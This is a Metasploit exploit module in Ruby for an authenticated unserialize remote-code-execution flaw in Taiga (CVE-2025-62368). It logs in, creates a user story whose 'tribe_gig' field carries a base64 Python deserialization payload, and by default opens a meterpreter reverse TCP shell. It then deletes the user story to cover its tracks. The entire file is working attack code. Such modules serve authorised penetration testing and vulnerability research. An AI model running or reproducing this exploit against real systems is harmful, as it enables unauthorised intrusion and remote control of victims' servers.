## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class TaigaClientException < StandardError; end class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution', 'Description' => %q{ This module exploits an unserialization flaw by creating a userstory in a project. }, 'License' => MSF_LICENSE, 'Author' => [ 'rootjog', # Discovery 'whotwagner' # Metasploit Module ], 'References' => [ ['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'], ['CVE', '2025-62368'] ], 'Platform' => %w[linux unix python], 'Targets' => [ [ 'Python payload', { 'Arch' => [ ARCH_PYTHON ], 'Platform' => 'python', 'Type' => :python, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } } ], [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => %w[unix linux], 'Type' => :nix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' } } ], ], 'DefaultOptions' => { 'SSL' => false }, 'Privileged' => false, 'DisclosureDate' => '2025-10-28', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to taiga', '/']), OptString.new('USERNAME', [true, 'The username to authenticate as']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ] ) end def authenticate(user, pass) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api/v1/auth'), 'method' => 'POST', 'ctype' => 'application/json', 'data' => { username: user, password: pass, type: 'normal' }.to_json, 'keep_cookies' => true ) raise TaigaClientException, 'Login failed' if res&.code != 200 parsed_json = res.get_json_document @token = parsed_json['auth_token'] @taiga_user_id = parsed_json['id'] end def get_project res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api/v1/projects'), 'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' }, 'method' => 'GET', 'ctype' => 'application/json', 'keep_cookies' => true ) raise TaigaClientException, 'Get projects failed!' if res&.code != 200 projects = res.get_json_document projects.each do |project| @taiga_project = project['id'] if project['is_kanban_activated'] end raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project end def get_status res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'), 'vars_get' => { 'project' => @taiga_project }, 'method' => 'GET', 'ctype' => 'application/json', 'keep_cookies' => true ) raise TaigaClientException, 'Get status failed!' if res&.code != 200 status_data = res.get_json_document raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses' status_data['statuses'].each do |stat| return stat['id'] if stat['name'] == 'New' end end def delete_userstory(id) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"), 'method' => 'DELETE', 'ctype' => 'application/json', 'headers' => { 'Authorization' => "Bearer #{@token}" }, 'keep_cookies' => true ) end def send_payload(payload, project_status) temp_project = Rex::Text.rand_text_alpha(10..15) send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'), 'method' => 'POST', 'ctype' => 'application/json', 'headers' => { 'Authorization' => "Bearer #{@token}" }, 'data' => { _attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false, tribe_gig: payload.to_s }.to_json ) end def check cookie_jar.clear begin authenticate(datastore['USERNAME'], datastore['PASSWORD']) get_project project_status = get_status rescue TaigaClientException => e return Exploit::CheckCode::Unknown(e) end sleep_time = rand(5..10) pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')") command = Rex::Text.encode_base64(pl) res, elapsed_time = Rex::Stopwatch.elapsed_time do send_payload(command, project_status) end return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201 user_story_id = res.get_json_document['id'] res = delete_userstory(user_story_id) print_warning('Cleanup failed') unless res&.code == 204 print_status("Elapsed time: #{elapsed_time} seconds.") return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time Exploit::CheckCode::Safe('Target is not vulnerable') end def execute_command(cmd, _opts = {}) # calls some method to inject cmd to the vulnerable code. begin project_status = get_status rescue TaigaClientException => e fail_with(Failure::UnexpectedReply, e) end print_status('Sending payload..') res = send_payload(cmd, project_status) print_good('Payload sent') user_story_id = res.get_json_document['id'] print_status('Cleanup..') res = delete_userstory(user_story_id) print_warning('Cleanup failed') unless res&.code == 204 print_good('Userstory deleted') end def exploit cookie_jar.clear begin authenticate(datastore['USERNAME'], datastore['PASSWORD']) get_project rescue TaigaClientException => e fail_with(Failure::UnexpectedReply, e) end if target['Type'] == :python command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded) else command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')") end data = Rex::Text.encode_base64(command) execute_command(data) end end